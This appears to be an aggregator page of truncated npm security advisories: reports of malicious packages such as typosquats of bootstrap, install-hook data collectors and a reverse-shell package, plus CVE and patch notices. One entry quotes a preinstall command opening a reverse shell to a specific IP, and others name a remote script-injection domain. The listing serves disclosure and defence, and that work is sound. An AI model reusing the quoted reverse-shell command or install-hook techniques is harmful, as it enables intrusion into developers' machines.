MAL-2026-16202 Malicious code in webpackbootstrapscripts (npm)

[email protected] typosquats bootstrap and ships a disguised in-browser proxy kit. Its bundled loader index-z2b7r4.js XOR-decodes a list of endpoints with a fixed key and injects remote scripts from https://dyingefforlessefforlessours.com via document.head.appendChild, then boots a...

Malicious code in webpackbootstrap5 (npm)

[email protected] typosquats bootstrap and ships a disguised in-browser proxy kit. Its bundled loader index-z2b7r4.js XOR-decodes a list of endpoints with a fixed key and injects remote scripts from https://dyingefforlessefforlessours.com via document.head.appendChild, then boots a...

Malicious code in id79-client (npm)

This package is part of a malicious npm campaign published by the biz44 account. Importing the package automatically launches a detached JavaScript loader that retrieves and executes additional code from npoint.io. The retrieved payload communicates with an attacker-controlled server and implemen...

Malicious code in tracker-cloudflare (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55b5bacf5779f1a1fa161ee38acbf61fda0dc18b3d0fe35213e2b0dc230c06e4 The package's preinstall hook runs node index.js, which collects host identifiers os.hostname, os.userInfo, homedir, DNS servers, cwd along with the...

MAL-2026-16140 Malicious code in tracker-cloudflare (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55b5bacf5779f1a1fa161ee38acbf61fda0dc18b3d0fe35213e2b0dc230c06e4 The package's preinstall hook runs node index.js, which collects host identifiers os.hostname, os.userInfo, homedir, DNS servers, cwd along with the...

NPM: FrontMCP and mcp-from-openapi have bypass of OpenAPI external $ref SSRF fix

NPM: FrontMCP and mcp-from-openapi have bypass of OpenAPI external $ref SSRF fix vulnerability discovered by ? in WordPress Npm mcp-from-openapi versions = 2.3.0, 2.5.0...

@alma-cdk/construct-library (>=0.0.0, <=2.3.0), @amazon-codecatalyst/blueprint-component.dev-environments (>=0.3.0, <=0.3.159) +149 more potentially affected by CVE-2026-89066 via projen (>=0.3.178, <=0.101.37)

projen NPM version =0.3.178, =0.0.0, =0.3.0, =0.3.0, =0.3.60, =0.3.59, =0.3.0, =0.3.0, =0.3.0, =0.3.0, =0.3.0, =0.3.1, =0.3.65, =0.3.82, =0.3.1, =0.3.159 - @amazon-codecatalyst/blueprints.serverless-tinyurl 0.3.0 and more Source cves: CVE-2026-89066 Source advisory: SNYK:JS-PROJEN-19823705...

MAL-2026-16132 Malicious code in @nimbusedge/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...

ROOT-APP-NPM-AIKIDO-2026-396404 AIKIDO-2026-396404 in tinypool - Patched by Root

Root has patched AIKIDO-2026-396404 in the tinypool package for Root:npm. Multiple fixed versions available...

01basicreact (>=0.1.0, <=0.1.9), 10by10-react-app (1.2.1) +6200 more potentially affected by CVE-2026-87776 via compression (>=1.0.0, <=1.8.1)

compression NPM version =1.0.0, =0.1.0, =0.30.0, =4.11.0, =0.0.0-canary.0, =0.0.1, =2.0.1, =0.1.1, =1.0.0, =1.0.3 and more Source cves: CVE-2026-87776 Source advisory: SNYK:JS-COMPRESSION-19778377...

ROOT-APP-NPM-CVE-2026-67214 CVE-2026-67214 in nanoid - Patched by Root

Root has patched CVE-2026-67214 in the nanoid package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-73086 CVE-2026-73086 in nanoid - Patched by Root

Root has patched CVE-2026-73086 in the nanoid package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2021-32640 CVE-2021-32640 in ws - Patched by Root

Root has patched CVE-2021-32640 in the ws package for Root:npm. Multiple fixed versions available...

GHSA-JXFW-X594-9X9M vulnerabilities

Vulnerabilities for packages: wazuh-dashboard-fips, azurite, wazuh-dashboard...

ROOT-APP-NPM-GHSA-5C6J-R48X-RMVQ GHSA-5c6j-r48x-rmvq in serialize-javascript - Patched by Root

Root has patched GHSA-5c6j-r48x-rmvq in the serialize-javascript package for Root:npm. Multiple fixed versions available...

ROOT-APP-NPM-CVE-2026-46681 CVE-2026-46681 in @nevware21/ts-utils - Patched by Root

Root has patched CVE-2026-46681 in the @nevware21/ts-utils package for Root:npm. Multiple fixed versions available...

Malicious code in strapi-plugin-vinsoc-1109 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4dbb0aa83cfffbdd408abb8f73299d5a47a0e9855c65b5940bb22112e0928d41 The package's postinstall lifecycle script node postinstall.js || true fires automatically on npm install. postinstall.js reads os.hostname, embeds t...

NPM: OmniRoute ACP Custom-Agent Remote Code Execution (RCE)

NPM: OmniRoute ACP Custom-Agent Remote Code Execution RCE vulnerability discovered by ? in WordPress Npm omniroute versions = 3.8.50...

NPM: n8n: Per-Resource OAuth Consent Bypass via Unbound Refresh Token Resource Substitution

NPM: n8n: Per-Resource OAuth Consent Bypass via Unbound Refresh Token Resource Substitution vulnerability discovered by ? in WordPress Npm n8n versions 2.37.7...

NPM: n8n: Prototype Pollution via Workflow Structure Summary Can Lead to Denial of Service

NPM: n8n: Prototype Pollution via Workflow Structure Summary Can Lead to Denial of Service vulnerability discovered by ? in WordPress Npm n8n versions 2.37.7...